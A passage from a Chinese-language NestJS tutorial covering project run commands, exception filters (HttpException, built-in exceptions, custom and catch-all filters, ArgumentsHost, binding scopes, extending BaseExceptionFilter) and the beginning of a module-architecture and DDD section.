  "collection": "@nestjs/schematics",
  "monorepo": false,
  "sourceRoot": "src",
  "entryFile": "main",
  "language": "ts",
  "generateOptions": {
    "spec": false
  },
  "compilerOptions": {
    "tsConfigPath": "./tsconfig.build.json",
    "webpack": false,
    "deleteOutDir": true,
    "assets": [],
    "watchAssets": false,
    "plugins": []
  }
}
```

```bash
 # 创建一个最小化的应用根模块
npx nest generate module app --flat
```

```ts
// src/main.ts

import { NestFactory } from '@nestjs/core';
import type { NestExpressApplication } from '@nestjs/platform-express';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.create<NestExpressApplication>(AppModule);
  await app.listen(process.env.PORT || 3000);
}
bootstrap();
```

## 运行应用

对于开发：

```bash
npm run start:dev
```

对于生产：

```bash
npm run build

rm -rf node_modules
## 在不修改锁文件的情况下安装仅用于生产环境的依赖项
npm ci --omit=dev
## 使用 “main” 入口启动应用程序
node .
```

---

---
url: /nest/44uiefr8/index.md
---
# 异常过滤器
## 异常过滤器{#exception-filters}

Nest 内置了一个异常处理层，负责捕获应用中所有未被显式处理的异常。当你的代码中出现异常却没有被 try-catch 捕获时，异常过滤器会自动接手，保证程序不会崩溃，同时给前端返回一个格式统一且易理解的错误信息。

默认情况下，Nest 使用一个全局异常过滤器，专门处理 `HttpException` 及其派生类（例如 404 找不到资源、401 未授权等），它会将这些异常转换成标准的 HTTP 响应。对于那些不属于 `HttpException` 的错误（比如运行时错误、数据库连接异常等）:

```ts
throw new Error('This is a test error');
```

这个过滤器会返回一个通用的 500 状态码和“Internal server error”的信息，避免把内部细节暴露给客户端，提升安全性。

```json
{
  "statusCode": 500,
  "message": "Internal server error"
}
```

此外，Nest 对第三方库 [http-errors](https://github.com/jshttp/http-errors) 有一定的兼容支持。如果你抛出的异常对象里带有 `statusCode` 和 `message` 这两个属性，Nest 也会识别它们，并把它们原样返回，而不会一律替换成默认的 500 错误，这让你在使用其他库时也能保持一致的错误处理体验。

```ts
throw { statusCode: 400, message: 'This is a test error' };
```

## 抛出标准异常{#throw-standard-exception}

Nest 提供了一个内置的异常类 `HttpException`，它在 `@nestjs/common` 包中导出。对于基于 HTTP 的 REST 或 GraphQL API 应用，推荐的做法是在出现错误时，通过抛出标准的 HTTP 异常来统一响应错误。

举个例子，假设在 `CatsController` 中有一个处理 GET 请求的 `findAll()` 方法。如果这个方法出现错误，我们可以直接抛出一个 `HttpException` 来表示访问被禁止：

```ts
@Get()
async findAll() {
  throw new HttpException('Forbidden', HttpStatus.FORBIDDEN);
}
```

这里的 `HttpStatus` 是从 `@nestjs/common` 导入的一个枚举，包含了 HTTP 的各种状态码。

当客户端调用这个接口时，服务器会返回如下 JSON 响应：

```json
{
  "statusCode": 403,
  "message": "Forbidden"
}
```

**`HttpException` 构造函数详解**

* **第一个参数：`response`**
  定义返回给客户端的 JSON 响应体。它既可以是字符串，也可以是对象。
* **第二个参数：`status`**
  HTTP 状态码，必须是合法的数字。建议使用官方的 `HttpStatus` 枚举（从 `@nestjs/common` 导入），保证语义清晰且减少魔法数字。

**返回内容格式**

默认情况下，Nest 会自动包装一个对象，包含两个字段：

* `statusCode`：对应你传入的 HTTP 状态码
* `message`：对应该状态码的简短描述（例如 403 对应 “Forbidden”）

如果你只传入字符串作为 `response` 参数，Nest 会用它覆盖 `message`，如果传入对象，则会直接序列化这个对象作为完整的响应体。

`HttpException` 构造函数还支持第三个可选参数 `options`，它允许你传递一个 `cause`，通常用来保存底层异常信息，它不会被序列化到 HTTP 响应里，但可以用来做日志记录或调试，主要用于内部错误追踪。

```ts
@Get()
async findAll() {
  try {
    await this.service.findAll();
  } catch (error) {
    throw new HttpException({
      status: HttpStatus.FORBIDDEN,
      error: 'This is a custom message',
    }, HttpStatus.FORBIDDEN, {
      cause: error,       // new Error('This is a test error')
    });
  }
}
```

此时返回给客户端的 JSON 是：

```json
{
  "status": 403,
  "error": "This is a custom message"
}
```

`cause` 仍可在服务器端访问，方便你将详细异常写入日志或做后续处理。

`options` 还支持一个 `description` 字段，它是一个字符串，用于描述异常的详细信息，它也会被序列化到 HTTP 响应里，通常用于自定义的错误描述信息，可以在你自定义异常过滤器或日志处理逻辑里读取，用来提供更详细的上下文。

`HttpException` 构造函数的TypeScript类型定义如下：

```ts
class HttpException extends Error {
  constructor(
    response: string | Record<string, any>,
    status: number,
    options?: {
      cause?: unknown;
      description?: string;
    }
  );
}
```

## 异常日志记录{#exception-log}

默认的异常过滤器对内置的异常（如 `HttpException` 及其子类）是不会进行日志打印的。这是因为这些异常被认为是应用正常流程的一部分，不应当每次都触发错误日志，避免控制台被大量“噪音”淹没。

同样，其他内置异常类型，如 `WsException`（WebSocket 异常）和 `RpcException`（远程过程调用异常）也遵循相同的设计理念，默认不会记录日志。

这些异常都继承自一个基础的 `IntrinsicException` 类（该类在 `@nestjs/common` 包中导出），它帮助框架区分“正常业务异常”和“真正的系统错误异常”。这使得 Nest 能够智能地过滤日志，保证开发者关注的重点放在意外错误和系统故障上。

如果要记录这些异常，可以创建自定义异常过滤器

## 自定义异常{#custom-exception}

在实际开发中，Nest 提供了丰富的内置 HTTP 异常（如 `BadRequestException`、`NotFoundException`、`ForbiddenException` 等），大多数情况下你完全可以直接使用它们，无需自己编写新的异常类。

但是，如果你的业务逻辑有特殊需求，或者想实现更符合项目语义的异常类型，建议你创建自定义异常类。为了保证 Nest 框架能够正确识别和处理这些异常，你的自定义异常最好继承自 `HttpException` 基类。

这样做的好处是：

* 自定义异常会被 Nest 的内置异常过滤器自动捕获和转换成标准的 HTTP 错误响应。
* 你可以自由定义异常的消息和状态码，灵活表达业务语义。
* 保持与 Nest 异常体系的兼容，方便后续扩展和维护。

下面是一个简单的示例，展示如何定义一个自定义异常 `ForbiddenException`，并在控制器中抛出它：

```ts
// forbidden.exception.ts
import { HttpException, HttpStatus } from '@nestjs/common';

export class ForbiddenException extends HttpException {
  constructor(message: string='Forbidden') {
    super(message, HttpStatus.FORBIDDEN);
  }
}
```

然后在 `CatsController` 中使用：

```ts
@Get()
async findAll() {
  throw new ForbiddenException();
}
```

**优先使用内置异常类**：Nest 提供了大多数常见的异常类，功能完善且易于理解。

**自定义异常适度使用**：仅在业务需求明确且内置异常不足以表达时，才创建自定义异常。

**继承自 `HttpException`**：确保自定义异常能被 Nest 正确识别和处理。

**可扩展性考虑**：你可以为自定义异常添加额外字段（如错误码、错误详情等），方便前后端统一错误处理。

## 内置 HTTP 异常{#built-in-http-exception}

Nest 提供了一组继承自基 `HttpException` 的标准异常。这些是从 `@nestjs/common` 包中公开的，代表了许多最常见的 HTTP 异常：

| 异常类名                           | 状态码 | 含义（简要说明）                       |
| ---------------------------------- | ------ | -------------------------------------- |
| `BadRequestException`              | 400    | 请求无效（参数错误、格式不符等）       |
| `UnauthorizedException`            | 401    | 未授权（通常用于身份验证失败）         |
| `ForbiddenException`               | 403    | 禁止访问（已认证但无权限）             |
| `NotFoundException`                | 404    | 请求的资源不存在                       |
| `MethodNotAllowedException`        | 405    | 请求方法不被允许                       |
| `NotAcceptableException`           | 406    | 服务端无法生成客户端可接受的响应       |
| `RequestTimeoutException`          | 408    | 请求超时                               |
| `ConflictException`                | 409    | 请求与当前状态冲突（如用户名已存在）   |
| `GoneException`                    | 410    | 请求的资源已永久删除，不再可用         |
| `PayloadTooLargeException`         | 413    | 请求体太大                             |
| `UnsupportedMediaTypeException`    | 415    | 不支持的媒体类型                       |
| `UnprocessableEntityException`     | 422    | 请求格式正确，但无法处理（如验证失败） |
| `PreconditionFailedException`      | 412    | 请求头中的前提条件未满足               |
| `InternalServerErrorException`     | 500    | 服务器内部错误                         |
| `NotImplementedException`          | 501    | 功能未实现                             |
| `BadGatewayException`              | 502    | 网关错误                               |
| `ServiceUnavailableException`      | 503    | 服务不可用                             |
| `GatewayTimeoutException`          | 504    | 网关超时                               |
| `HttpVersionNotSupportedException` | 505    | 不支持的 HTTP 版本                     |
| `ImATeapotException`               | 418    | I'm a teapot：愚人节彩蛋，用于娱乐     |

所有这些内置异常都支持额外的 `options` 参数，可以用于增强调试信息：

```ts
throw new BadRequestException('Something bad happened', {
  cause: new Error('Validation failed'),
  description: 'The user input did not pass validation',
});
```

响应示例：

```ts
{
  "statusCode": 400,
  "message": "Something bad happened",
  "error": "The user input did not pass validation"
}
```

内置HTTP异常和HttpException的区别：

```ts
  throw new HttpException('这是一个自定义错误', HttpStatus.FORBIDDEN, {
      cause: new Error('This is a custom message'),
      description: 'dad',
    });
/*
{
    "statusCode": 403,
    "message": "这是一个自定义错误"
}
*/
```

```ts
 throw new BadRequestException('这是一个自定义错误', {
      cause: new Error('This is a custom message'),
      description: '错误描述',
    });
/*
{
    "message": "这是一个自定义错误",
    "error": "错误描述",
    "statusCode": 400
}
*/
```

**核心区别总结**

| 特性/行为                     | `HttpException`（基类）                         | 内置异常（如 `BadRequestException`）                         |
| ----------------------------- | ----------------------------------------------- | ------------------------------------------------------------ |
| 默认响应格式                  | `{ statusCode, message }`                       | `{ statusCode, message, error }`                             |
| 是否自带 `error` 字段         | ❌ 默认不带，除非你手动设置整个响应体            | ✅ 自动带有 `error` 字段，内容为 `description` 或默认字符串   |
| 构造函数                      | `new HttpException(response, status, options?)` | `new XxxException(message, options?)`（内部已包装 status & error） |
| 实际使用建议                  | 更适合构建自定义结构的异常，或构建抽象层        | 推荐直接使用，结构统一，符合 HTTP 标准                       |
| Nest 默认行为支持             | ✅ 完全受支持                                    | ✅ 更推荐使用（更结构化、语义清晰）                           |
| 可继承性                      | ✅ 可作为你自定义异常的基类                      | ✅ 也可继承，但通常用于直接使用                               |
| 是否带默认 `description` 信息 | ❌ 没有默认                                      | ✅ 有，比如 `Bad Request`、`Forbidden` 等                     |

## 异常过滤器{#exception-filter}

虽然基本（内置）异常过滤器可以自动为你处理许多情况，但你可能希望完全控制异常层，不满足于默认的 500 错误、或者只是显示一段 `message`，比如给出统一格式的错误响应，把错误写入日志，带上错误发生时的 URL、时间、请求信息等，捕获特定类型的异常用不同方式处理。

这时候就可以写一个 **ExceptionFilter（异常过滤器）** 来 **自定义异常处理逻辑**。

```ts
// http-exception.filter.ts
import {
  ExceptionFilter,
  Catch,
  ArgumentsHost,
  HttpException,
} from '@nestjs/common';
import { Request, Response } from 'express';

@Catch(HttpException)
export class HttpExceptionFilter implements ExceptionFilter {
  catch(exception: HttpException, host: ArgumentsHost) {
    const ctx = host.switchToHttp(); // 针对 HTTP 请求（也有 RPC / WS）
    const response = ctx.getResponse<Response>();
    const request = ctx.getRequest<Request>();
    const status = exception.getStatus();
    const exceptionResponse = exception.getResponse();

    const error =
      typeof exceptionResponse === 'string'
        ? { message: exceptionResponse }
        : (exceptionResponse as object);

    response.status(status).json({
      statusCode: status,
      timestamp: new Date().toISOString(),
      path: request.url,
      ...error,
    });
  }
}
```

`@Catch(HttpException)`：只捕获 `HttpException` 类型的异常。你也可以写多个类型。

`@Catch(HttpException)` 装饰器将所需的元数据绑定到异常过滤器，告诉 Nest 这个特定的过滤器正在寻找 `HttpException` 类型的异常，而不是其他任何东西。`@Catch()` 装饰器可以采用单个参数或逗号分隔的列表。这使你可以一次为多种类型的异常设置过滤器。

```ts
@Catch(BadRequestException, ForbiddenException)
```

如果你写：`@Catch()`就代表这个过滤器能捕获所有异常。

`ArgumentsHost`是一个 **抽象适配器**，因为 Nest 不只是支持 HTTP，也支持 GraphQL、WebSocket、gRPC 等，而你通过 `host.switchToHttp()` 就能获取 HTTP 请求相关信息：

```ts
const ctx = host.switchToHttp();
const request = ctx.getRequest<Request>();
const response = ctx.getResponse<Response>();
```

默认错误响应太简陋或不统一，通过自定义异常过滤器就能输出更友好的响应结构：

```ts
{
  "statusCode": 400,
  "message": "参数错误",
  "timestamp": "2025-07-12T10:30:00Z",
  "path": "/api/user/register"
}
```

Nest 有两种 message：

```ts
throw new BadRequestException('错误提示');

throw new BadRequestException({
  message: '参数错误',
  error: '验证失败'
});
```

所以你要判断 `getResponse()` 的类型是 string 还是 object，然后做不同处理。

如果你使用 `@nestjs/platform-fastify`，则可以使用 `response.send()` 而不是 `response.json()`。不要忘记从 `fastify` 导入正确的类型。

```ts
const response = ctx.getResponse<FastifyReply>();
response.status(status).send({...})
```

所有异常过滤器都应实现通用 `ExceptionFilter<T>` 接口。这要求你提供 `catch(exception: T, host: ArgumentsHost)` 方法及其指示的签名。`T` 表示异常的类型。

## 参数主机{#arguments-host}

`catch()` 方法的参数：

`exception` 参数是当前正在处理的异常对象，即被抛出的异常对象，通常是：`HttpException`（比如 `ForbiddenException`、`BadRequestException` 等），或你自己定义继承它的异常类

你可以调用：`.getStatus()`：获取 HTTP 状态码，`.getResponse()`：获取传给异常构造函数的 `response` 对象（可以是字符串或对象）

```ts
throw new HttpException({
  status: HttpStatus.FORBIDDEN,
  error: 'Access denied',
}, HttpStatus.FORBIDDEN);
```

```ts
const responseBody = exception.getResponse();
// 结果为：{ status: 403, error: 'Access denied' }
```

`exception.message`获取的通常是字符串类型，是构造函数传入的 response，如果是对象则为 `[object Object]`

`ArgumentsHost` 是 **NestJS 提供的一个上下文适配器**，它用于**抽象化访问当前请求上下文中的原始参数**，比如：

HTTP 请求中的 `Request`、`Response`；

WebSocket 中的 `Client`、`Payload`；

RPC 调用中的 `Data`、`Context`。

它的核心作用就是让你**不依赖具体协议（如 Express/Fastify/WebSocket）就能获取参数**，从而写出**可复用、协议无关**的代码。

使用`ArgumentsHost`的原因是：NestJS 是一个**多协议支持的框架**，HTTP（Express/Fastify），WebSockets（Socket.io）Microservices（gRPC, Kafka, NATS 等），每种协议的底层 **原始参数** 都不一样

| 协议 | 原始参数             |
| ---- | -------------------- |
| HTTP | `req`, `res`, `next` |
| WS   | `client`, `data`     |
| RPC  | `data`, `context`    |

但代码不可能每种都重写一遍啊？所以 NestJS 提供了一个抽象，`ArgumentsHost`：通过它，你可以「切换」到你需要的上下文（HTTP/WebSocket/RPC），然后获取对应的参数。

```ts
const ctx = host.switchToHttp(); // 也可以是 .switchToWs()、.switchToRpc()
```

**ArgumentsHost 的常用方法**

| 方法                   | 作用                                  |
| ---------------------- | ------------------------------------- |
| `getType()`            | 获取当前上下文类型（http / ws / rpc） |
| `switchToHttp()`       | 切换到 HTTP 上下文                    |
| `switchToWs()`         | 切换到 WebSocket 上下文               |
| `switchToRpc()`        | 切换到 RPC 上下文                     |
| `getArgs()`            | 获取当前处理函数的所有参数（数组）    |
| `getArgByIndex(index)` | 获取特定参数（常用于低层自定义场景）  |

**跨协议支持**：

```ts
const type = host.getType();

if (type === 'http') {
  const ctx = host.switchToHttp();
  // ...
} else if (type === 'ws') {
  const ctx = host.switchToWs();
  // ...
}
```

**总结**：`ArgumentsHost` 是 NestJS 提供的跨协议上下文访问工具，配合 `switchToHttp()` 等方法，你可以安全地在不同协议中访问正确的请求参数，让异常过滤器、守卫、拦截器等逻辑具备协议无关性。

## 绑定过滤器{#bind-filter}

**方法级绑定**

```ts
@Post()
@UseFilters(HttpExceptionFilter) // 绑定到这个 create() 方法
async create(@Body() createCatDto: CreateCatDto) {
  throw new ForbiddenException();
}
```

`@UseFilters()` 装饰器是从 `@nestjs/common` 包导入的，用于将自定义的异常过滤器绑定到某个处理函数。

在这个例子中，只要 `create()` 方法中抛出 `HttpException` 或其子类，Nest 就会交给 `HttpExceptionFilter` 来处理。

推荐用 **类名**（`HttpExceptionFilter`），而不是用 `new HttpExceptionFilter()`，这样 Nest 可以复用实例，也支持依赖注入。

`@UseFilters()` 装饰器，类似于 `@Catch()` 装饰器，它可以采用单个过滤器实例，或以逗号分隔的过滤器实例列表。在这里，我们就地创建了 `HttpExceptionFilter` 的实例，或者，你可以传递类（而不是实例），	将实例化的责任留给框架，并启用依赖注入。

**建议**：尽可能使用类而不是实例来应用过滤器。它减少了内存使用量，因为 Nest 可以轻松地在整个模块中重用同一类的实例。

**控制器级绑定**

```ts
@Controller('cats')
@UseFilters(HttpExceptionFilter)
export class CatsController {
  @Get()
  findAll() { /*...*/ }

  @Post()
  create() { /*...*/ }
}
```

在控制器上使用 `@UseFilters()`，可以让该控制器内的 **所有路由处理器** 都应用这个异常过滤器。

使用场景：比如一个模块中所有 API 都有统一错误响应格式，就适合绑定在控制器上。

**全局绑定（覆盖所有控制器）**

```ts
// main.ts
const app = await NestFactory.create(AppModule);
app.useGlobalFilters(new HttpExceptionFilter());
```

从任何模块外部注册的全局过滤器不能注入依赖，因为这是在任何模块的上下文之外完成的。为了解决此问题，你可以使用以下结构直接从任何模块注册全局作用域的过滤器：

推荐的方式（支持依赖注入）：

```ts
// app.module.ts
import { APP_FILTER } from '@nestjs/core';

@Module({
  providers: [
    {
      provide: APP_FILTER,
      useClass: HttpExceptionFilter,
    },
  ],
})
export class AppModule {}
```

全局绑定意味着：**任何模块、控制器、方法中抛出的异常**，都会被这个过滤器处理。

如果你希望统一处理整个应用的错误响应结构，推荐使用这种方式。

通过 `APP_FILTER` 注册的方式支持依赖注入，而 `app.useGlobalFilters()` 不支持注入服务。

当你通过这种方式（也就是 `{ provide: APP_FILTER, useClass: XxxFilter }`）来注册一个支持依赖注入的过滤器时，要注意：

**不管你在哪个模块中这样注册，这个过滤器都会被视为“全局过滤器”。**

那这种注册应该放在哪个模块中比较好呢？

**建议放在定义这个过滤器的模块中**（比如上面的示例中是 `HttpExceptionFilter` 所在模块）。

**注意**：`useClass` 并不是定义自定义提供器的唯一方法，Nest 还支持其他形式的注册方式

你也可以用相同的方式同时注册多个过滤器，只需把每一个都放进 `providers` 数组中即可。

`app.useGlobalFilters()` **只会对 HTTP 请求生效**，**不会作用于 WebSocket 网关、GraphQL、或混合类型的应用上下文**，也就是它**只会应用在 HTTP 上下文中**（也就是控制器 Controller 的异常处理中生效）。

如果你还想让它对 WebSocket 生效，你必须在**WebSocket 网关类中单独设置过滤器**。

```ts
@WebSocketGateway()
@UseFilters(new YourExceptionFilter())
export class YourGateway {
  // ...
}
```

## 捕获一切{#catch-everything}

为了捕获所有未处理的异常，只需在 `@Catch()` 装饰器中不填任何参数，就像给一个空篮子，让它接住所有掉下来的“苹果”。以下示例展示了一个与平台无关的代码片段，它通过 HTTP 适配器处理响应，巧妙避开了直接使用特定平台的 `Request` 或 `Response` 对象，像个“跨界外交官”一样灵活：

```typescript
import {
  ExceptionFilter,
  Catch,
  ArgumentsHost,
  HttpException,
  HttpStatus,
} from '@nestjs/common';
import { HttpAdapterHost } from '@nestjs/core';

@Catch()
export class CatchEverythingFilter implements ExceptionFilter {
  constructor(private readonly httpAdapterHost: HttpAdapterHost) {}

  catch(exception: unknown, host: ArgumentsHost): void {
    // 有时候在构造函数中 httpAdapter 可能还没准备好，所以我们在这里动态获取
    const { httpAdapter } = this.httpAdapterHost;

    const ctx = host.switchToHttp();

    // 判断异常是否为 HttpException，若是则获取其状态码，否则默认返回 500
    const httpStatus =
      exception instanceof HttpException
        ? exception.getStatus()
        : HttpStatus.INTERNAL_SERVER_ERROR;

    // 构造响应体，包含状态码、时间戳和请求路径
    const responseBody = {
      statusCode: httpStatus,
      timestamp: new Date().toISOString(),
      path: httpAdapter.getRequestUrl(ctx.getRequest()),
    };

    // 通过适配器发送响应
    httpAdapter.reply(ctx.getResponse(), responseBody, httpStatus);
  }
}
```

**注意**：当你将“捕获所有”的异常过滤器与专门针对特定异常类型的过滤器一起使用时，记得把 `@Catch()` 放在最后，就像让“专业选手”先处理特定任务，杂活留给“全能选手”来兜底。

**常见陷阱**

* **HttpAdapter 不可用**：如代码注释所述，`httpAdapter` 在构造函数中可能未初始化，因此在 `catch` 方法中动态获取是更安全的做法。
* **过滤器顺序**：如果 `@Catch()` 放在特定类型过滤器（如 `@Catch(HttpException)`) 之前，可能会导致特定过滤器失效。就像让“全能选手”抢了“专业选手”的活。
* **性能问题**：捕获所有异常可能会掩盖代码中的潜在问题，建议仅在全局使用，并在开发阶段配合日志分析具体异常。

**API 补充**

* `HttpAdapterHost`：提供对底层 HTTP 适配器的访问（如 Express 或 Fastify），通过 `httpAdapter.getRequestUrl()` 获取请求路径。
* `ArgumentsHost`：NestJS 的上下文对象，包含请求、响应等信息，通过 `switchToHttp()` 切换到 HTTP 上下文。
* `httpAdapter.reply`：发送响应，参数分别是响应对象、响应体和状态码。

## 继承{#inheritance}

通常，你会打造一个完全定制的异常过滤器来满足应用的独特需求，但有时候，你可能只想在 NestJS 内置的默认全局异常过滤器（`BaseExceptionFilter`）上稍作调整，为了将异常处理的任务交给基础过滤器，你需要扩展 `BaseExceptionFilter` 并调用它自带的 `catch()` 方法。

以下是一个示例，展示如何扩展默认过滤器：

```typescript
import { Catch, ArgumentsHost } from '@nestjs/common';
import { BaseExceptionFilter } from '@nestjs/core';

@Catch()
export class AllExceptionsFilter extends BaseExceptionFilter {
  catch(exception: unknown, host: ArgumentsHost) {
    // 调用父类的 catch 方法，复用内置异常处理逻辑
    super.catch(exception, host);
  }
}
```

**注意**：对于方法范围或控制器范围的过滤器，扩展 `BaseExceptionFilter` 时，千万不要用 `new` 手动实例化。让 NestJS 框架自动处理实例化。

全局过滤器也可以扩展 `BaseExceptionFilter`，这可以通过两种方式实现：

**方式一：注入 HttpAdapter**

在实例化自定义全局过滤器时，手动注入 `HttpAdapter` 引用，确保过滤器能与底层平台（如 Express 或 Fastify）无缝协作：

```typescript
async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  const { httpAdapter } = app.get(HttpAdapterHost);
  // 注入 httpAdapter，确保跨平台兼容
  app.useGlobalFilters(new AllExceptionsFilter(httpAdapter));

  await app.listen(process.env.PORT ?? 3000);
}
bootstrap();
```

**方式二：使用 APP\_FILTER 令牌**

通过 NestJS 的依赖注入系统，使用 `APP_FILTER` 令牌注册全局过滤器。

```ts
import { Module } from '@nestjs/common';
import { APP_FILTER } from '@nestjs/core';
import { AllExceptionsFilter } from './all-exceptions.filter';

@Module({
  providers: [
    {
      provide: APP_FILTER,
      useClass: AllExceptionsFilter,	// 此处可以不用写参数是因为在模块上下文中，自动进行类型依赖注入了
    },
  ],
})
export class AppModule {}
```

核心代码：`AllExceptionsFilter`

```typescript
import { Catch, ArgumentsHost } from '@nestjs/common';
import { BaseExceptionFilter } from '@nestjs/core';

@Catch() // 空参数表示捕获所有异常
export class AllExceptionsFilter extends BaseExceptionFilter {
  constructor(httpAdapter: HttpAdapterHost) {
    super(httpAdapter.httpAdapter); // 传递 httpAdapter 给父类
  }

  catch(exception: unknown, host: ArgumentsHost) {
    // 直接调用父类的 catch 方法，复用默认异常处理逻辑
    super.catch(exception, host);
  }
}
```

**代码解释**：

* **`@Catch()`**：不带参数，表示捕获所有类型的异常，类似于前面讨论的“万能捕手”。
* **`extends BaseExceptionFilter`**：继承 NestJS 内置的全局异常过滤器，复用其默认行为（如处理 `HttpException` 并返回格式化的错误响应）。
* **`super.catch(exception, host)`**：调用父类的 `catch` 方法，确保内置逻辑（如状态码处理、响应格式化）继续生效。你可以在这里添加自定义逻辑，比如记录日志或修改响应。
* **构造函数中的 `httpAdapter`**：`BaseExceptionFilter` 需要 `httpAdapter` 来与底层平台交互，必须通过构造函数传递。

**复杂部分：全局注册**

方式一的代码展示了如何手动注入 `HttpAdapter`：

```typescript
const { httpAdapter } = app.get(HttpAdapterHost);
app.useGlobalFilters(new AllExceptionsFilter(httpAdapter));
```

**解释**：

* `app.get(HttpAdapterHost)`：从 NestJS 容器中获取 `HttpAdapterHost` 实例，包含底层的 HTTP 适配器（如 Express 或 Fastify 的实例）。
* `new AllExceptionsFilter(httpAdapter)`：将 `httpAdapter` 传递给过滤器的构造函数，确保过滤器能访问底层平台的响应机制。
* `app.useGlobalFilters`：将过滤器注册为全局，捕获应用中所有未处理的异常。

**补充解释**

* **`BaseExceptionFilter`** 是 NestJS 提供的内置全局异常过滤器，负责处理常见异常（如 `HttpException`）并返回标准化的错误响应。
* 扩展 `BaseExceptionFilter` 允许你在保留默认行为的基础上，添加自定义逻辑，比如记录错误、修改响应格式或处理特定异常。

**使用场景**

* **统一错误格式**：扩展 `BaseExceptionFilter` 适合需要对默认错误响应稍作调整的场景，例如添加自定义字段到响应体。
* **跨平台兼容**：通过注入 `HttpAdapter`，过滤器可以适配 Express、Fastify 等不同底层平台。
* **全局兜底**：与 `@Catch()` 结合，适合作为全局异常处理的最后防线。

**常见陷阱**

* **手动实例化**：手动用 `new` 实例化方法或控制器范围的过滤器可能导致依赖注入失败。始终通过 NestJS 的 IoC 容器管理实例。
* **HttpAdapter 未注入**：如果忘记注入 `httpAdapter`，过滤器可能无法正确处理响应，抛出运行时错误。
* **过度依赖父类**：完全依赖 `super.catch` 可能限制灵活性。如果需要大幅定制响应逻辑，可能需要直接实现 `ExceptionFilter` 接口。

**API 补充**

* **`BaseExceptionFilter`**：NestJS 核心模块提供的内置过滤器，默认处理 `HttpException` 和部分内置异常，返回 JSON 格式的错误响应。
* **`HttpAdapterHost`**：提供对底层 HTTP 适配器的访问，方法如 `getRequestUrl` 和 `reply` 可用于获取请求信息或发送响应。
* **`APP_FILTER`**：NestJS 的令牌，用于通过依赖注入注册全局过滤器。

**说明**：通过 `APP_FILTER` 令牌，NestJS 会自动实例化 `AllExceptionsFilter`，并注入 `HttpAdapterHost`，避免手动实例化的麻烦。

**复用父类逻辑（前置修改）**

```typescript
catch(exception: unknown, host: ArgumentsHost) {
    console.error('Caught exception:', exception); // 记录日志

    // 包装异常，添加自定义信息
    const wrappedException =
      exception instanceof HttpException
        ? exception
        : new HttpException(
            {
              statusCode: HttpStatus.INTERNAL_SERVER_ERROR,
              message: 'Something went wrong',
              timestamp: new Date().toISOString(),
              path: this.httpAdapter.getRequestUrl(host.switchToHttp().getRequest()),
            },
            HttpStatus.INTERNAL_SERVER_ERROR,
          );

    // 交给父类处理
    super.catch(wrappedException, host);
  }
```

**优化错误信息**

为生产环境提供用户友好的错误信息，避免暴露敏感信息：

```typescript
catch(exception: unknown, host: ArgumentsHost) {
  const ctx = host.switchToHttp();
  const status =
    exception instanceof HttpException
      ? exception.getStatus()
      : HttpStatus.INTERNAL_SERVER_ERROR;
  const responseBody = {
    statusCode: status,
    timestamp: new Date().toISOString(),
    path: this.httpAdapter.getRequestUrl(ctx.getRequest()),
    message: status === HttpStatus.INTERNAL_SERVER_ERROR
      ? 'Internal server error'
      : exception instanceof HttpException
        ? exception.message
        : 'Unknown error',
  };
  this.httpAdapter.reply(ctx.getResponse(), responseBody, status);
} 
```

---

---
url: /nest/6ku7kvka/index.md
---
# 应用架构设计
## 基础理念

* **SOLID 原则**
* **模块化开发**（可维护、可扩展）
* **关注点分离**（Separation of Concerns）
* **可测试性 & 可替换性**

## 模块划分思路

### CoreModule（核心模块）

* 放全局只初始化一次的内容
* 全局配置（ConfigService）
* 日志（LoggerService）
* 数据库连接（TypeORM/Prisma Provider）
* 不导出，避免循环依赖

### CommonModule（通用模块）

* 工具类、拦截器、过滤器、管道、守卫
* 响应格式化拦截器
* 异常过滤器
* DTO 验证管道
* 可被任何业务模块导入

### SharedModule（共享模块）

* 通用的业务服务
* 比如邮件发送（MailService）、缓存（CacheService）、第三方 API 封装

### Domain/Feature Modules（领域/功能模块）

* 用户模块（UserModule）
* 订单模块（OrderModule）
* 商品模块（ProductModule）
* 每个模块包含 controller + service + dto + entity
* 遵循单一职责

### InfrastructureModule（基础设施模块，可选）

* 和外部世界打交道的服务
* 例如：RedisModule、ElasticsearchModule、MessageQueueModule

### FunctionModule（业务功能聚合，可选）

* 把多个领域模块组合成更大的业务能力
* 例如 PaymentModule 可能调用 User + Order + Notification

## 模块依赖规则

* **CoreModule** 只被 `AppModule` 引用
* **CommonModule** 可被任何模块引用
* **FeatureModule** 之间不直接互相引用 → 通过 **Service 接口** or **事件/消息机制**解耦
* **SharedModule** 避免成为“万能模块”

## 实际案例

以一个电商平台为例：

* CoreModule: 数据库、日志、配置
* CommonModule: 全局管道、异常过滤器
* UserModule: 用户管理
* ProductModule: 商品管理
* OrderModule: 订单管理
* PaymentModule: 聚合订单、用户、商品、第三方支付接口
* NotificationModule: 邮件、短信、推送

## DDD 架构

DDD 不仅仅是代码结构，它是一种 **从业务出发** 的设计思想，目标是：
让代码模型和业务领域模型保持一致，避免“业务在文档里，代码里全是 CRUD”。

### 分层架构（经典 DDD 四层）

DDD 一般分为四层，每一层职责非常明确：

### **用户接口层（Interface / API Layer）**

* 对外暴露系统功能（HTTP API / GraphQL / RPC 等）
* NestJS 对应：**Controller 层**
* 只做输入输出的转换，不写业务逻辑

### **应用层（Application Layer）**

* 负责编排业务流程，调用领域层服务
* 事务管理、权限校验、事件发布
* NestJS 对应：**Service（应用服务）**
* 不直接操作数据库

### **领域层（Domain Layer）**

* **系统的核心，DDD 的灵魂**
* 定义领域模型（Entity、Value Object、Aggregate Root、Domain Service）
* 体现业务规则和领域知识
* 不依赖外部框架（保持纯净）

### **基础设施层（Infrastructure Layer）**

* 为上层提供技术支持
* 数据库 ORM（TypeORM/Prisma）、Redis、消息队列、外部 API
* NestJS 对应：**Repository、外部适配器、第三方 SDK 封装**

## 在 NestJS 中落地 DDD

一个典型的 NestJS + DDD 项目目录：

```markdown
src
├── user
│   ├── application        # 应用层（服务）
│   ├── domain             # 领域层（实体、值对象、聚合、领域服务）
│   ├── infrastructure     # 基础设施（repository 实现、数据库适配）
│   └── interface          # 接口层（controller、DTO）
│
├── order
│   ├── application
│   ├── domain
│   ├── infrastructure
│   └── interface
│
└── shared                 # 公共模块（异常、日志、事件总线等）
```

特点：

* 业务逻辑主要在 **domain 层**
* controller 不写业务逻辑，只调用 **application service**
* 数据库逻辑封装在 **repository**，对 domain 透明

## 举个例子（订单下单流程）

Controller (Interface 层)

```ts
@Post('create')
async create(@Body() dto: CreateOrderDto) {
  return this.orderAppService.createOrder(dto);
}
```

Application Service (应用层)

